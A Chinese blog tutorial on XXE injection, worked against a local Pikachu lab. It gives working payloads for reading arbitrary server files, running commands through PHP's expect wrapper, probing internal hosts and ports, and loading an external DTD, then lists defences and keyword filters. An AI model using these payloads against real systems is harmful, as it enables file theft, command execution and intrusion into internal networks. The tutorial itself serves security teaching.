Web安全 XXE漏洞的 测试和利用.(读取服务器的任何文件 和 收集服务器的内网信息.)
XXE漏洞概括
XXE漏洞全称(XML External Entity Injection),即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成:文件读取、命令执行、内网端口扫描、攻击内网网站,DOS攻击 等危害.(xxe漏洞触发的点往往是可以上传xml文件的位置的,没有对上传的xml文件进行过滤,导致可上传恶意xml文件.)
目录:
XML代码的了解:
#DTD
1.内部的 DOCTYPE 声明
2.外部文档声明
#DTD 实体
1.内部实体声明
2.外部实体声明
3.参数实体声明
XXE漏洞的利用:
第一步:确定网站存在 XXE 漏洞.
第二步:使用 XXE 漏洞,读取服务器中的任意文件.
第三步:使用 XXE 漏洞,执行系统命令(该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令)
第四步:使用 XXE 漏洞,做内网探测(可以探测内网的 IP 和 端口 或 文件 是否存在)
第五步:使用 XXE 漏洞,引入外部实体 读取文件内容.(服务器文件 bgxg.dtd)
XXE漏洞防御:
1、使用开发语言提供的禁用外部实体的方法
2、过滤用户提交的XML数据
靶场:
本地自己搭建的 Pikachu(皮卡丘)靶场:安装在win 2003(IP地址:192.168.0.102)
Pikachu(皮卡丘)靶场搭建链接:Web安全 Pikachu(皮卡丘)靶场搭建._半个西瓜.的博客-CSDN博客
XML代码的了解:
<?xml version="1.0"?>
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
#DTD
文档类型定义(DTD)可定义合法的 XML 文档构建模块它使用一系列合法的元素来定义文档的结构DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
1.内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
2.外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>
#DTD 实体
1.内部实体声明
<!ENTITY 实体名称 ”实体的值”>
2.外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
3.参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>
XXE漏洞的利用:
第一步:确定网站存在 XXE 漏洞.
(1)构造payload
<?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY tian "bgxg.yu"> ]>
<bgxg>&tian;</bgxg>
第二步:使用 XXE 漏洞,读取服务器中的任意文件.
(1)构造payload
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY bgxg SYSTEM "file:///C://bgxg.txt"> ]>
<bgxg>&bgxg;</bgxg>
第三步:使用 XXE 漏洞,执行系统命令(该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令)
(1)构造payload
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" > ]>
<x>&xxe;</x>
第四步:使用 XXE 漏洞,做内网探测(可以探测内网的 IP 和 端口 或 文件 是否存在)
(1)构造 payload(服务器是有这个 IP 或 有这个 config.inc.php 文件的.)(说明:这个内网的IP和端口都是存在的.)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.1.103:801/pikachu/inc/config.inc.php" >
]>
<x>&rabbit;</x>
(2)构造 payload(当服务器是没有这个 bgxg.txt 文件时.)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.1.103:801/bgxg.txt" > ]>
<x>&rabbit;</x>
第五步:使用 XXE 漏洞,引入外部实体 读取文件内容.(服务器文件 bgxg.dtd)
(1)利用的前提:服务器有这个 bgxg.dtd 文件的内容:
<!ENTITY send SYSTEM "file:///c://hhh.txt">
(2)然后再去读取服务器中的 hhh.txt 的文件
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://192.168.1.103:801/bgxg.dtd">
%file;
]>
<x>&send;</x>
XXE漏洞防御:
1、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2、过滤用户提交的XML数据
过滤关键词:<!DOCTYPE,,<!ENTITY,SYSTEM,PUBLIC.
参考链接:XXE漏洞 - 简书
参考链接:CTF XXE - MustaphaMond - 博客园
参考链接:2021小迪渗透测试/网络安全工程师全套(从入门到就业)_哔哩哔哩_bilibili
Web安全 XXE漏洞的 测试和利用.(读取服务器的任何文件 和 收集服务器的内网信息.)相关推荐
- XXE漏洞详解与利用
XXE:XML 外部实体注入 XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件.执行系统命令.内网探测与攻击等危害的一 ...
- 《内网安全攻防:渗透测试实战指南》读书笔记(二):内网信息收集
目录 前言 一.收集本机信息 1.手动搜集 (1)查询网络配置 (2)查询操作系统及软件的信息 (3)查询本机服务信息 (4)查询进程列表 (5)查看启动程序信息 (6)查看计划任务 (7)查看主机开 ...
- 内网渗透测试:内网信息收集与上传下载
在之前的几节中,我们讲了隐藏通讯隧道技术的运用,那其实都是渗透测试的后话,接下来要讲的信息收集才是内网渗透的基础. 可以说内网渗透测试,其本质就是信息收集.信息收集的深度,直接关系到内网渗透测试的成败 ...
- Web安全 RCE漏洞(命令执行漏洞的 测试和利用).
系统命令执行的概括 系统命令执行一般是 在Web应用中,可能有时候需要调用一些系统命令来执行,而程序在开发的时候没有对输入进行严格的过滤,导致恶意用户可以构造一些恶意的系统命令,从而达成系统命令执行攻 ...
- Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)
文件上传漏洞的概括 现在大多的网站和Web应用系统都会有上传功能(比如:文档,图片,头像,视频上传等.),而程序员在开发文件上传功能时,没有对代码做严格校验上传文件的后缀和文件类型. 此时攻击者就可以 ...
- xxe漏洞的学习与利用总结
前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...
- 网络安全--XXE漏洞利用思路
一.XXE 是什么 介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞 如图所示: 既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多, ...
- Web渗透测试---Web TOP 10 漏洞
文章目录 前言 一.注入漏洞 二.跨站脚本(xss)漏洞 三.文件上传漏洞 四.文件包含漏洞 五.命令执行漏洞 六.代码执行漏洞 七.XML外部实体(XXE)漏洞 八.反序列化漏洞 九. SSRF漏洞 ...
- XXE漏洞的详解与利用
XXE漏洞详解 漏洞介绍: 如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞.另外php版本大于5.4.45的默认不解析外部实体 ...
最新文章
- 【iOS开发必收藏】详解iOS应用程序内使用IAP/StoreKit付费、沙盒(SandBox)测试、创建测试账号流程!...
- 【百战GAN】羡慕别人的美妆?那就用GAN复制粘贴过来
- .net反编译软件简绍
- 汇编语言——十种寻址方式
- VTK:图片之CenterAnImage
- idea构建springboot项目右边没有maven_写给新手看的 Spring Boot 入门学习指南
- 检查可执行文件所需要的共享库
- Portal-Basic Java Web 应用开发框架:应用篇(十四) —— 异步 Action
- sourcetree不好做到的一些git操作
- c++枚举和c语言枚举_C语言枚举初学者指南
- python开发环境有哪些_python开发环境哪个好用?如何搭建?
- 2017-01-27-一句话木马原理详解
- Qt中其他类调用窗口中的ui控件
- exchange虚拟服务器,exchange服务器之为Exchange服务重建IIS虚拟目录
- ICPC-Tic Tac Toe
- 【AirSim】Windows下搭建AirSim
- python正则表达式提取文本中的电话号码和邮箱
- 你觉得什么叫做幸福?
- keras实现seq2seq做Chatbot
- 邮政社招笔试题库_中国邮政招聘考试试题及答案--总括版
热门文章
- 数据预处理--上采样(过采样)与下采样(降采样)
- 背景图片的精灵图的使用
- 分享model.predict(test)与model.predict_classes(test)的用法
- 《完全用Linux工作》作者:王垠
- 学网络安全到什么程度才能找到工作?
- 理论篇如何学习硬件设计
- Encountered end of file
- .net实现微信公众账号接口开发
- 关于安卓的通知栏 NotificationCompat
- pandas duplicated() 重复行标记与drop_duplicates()删除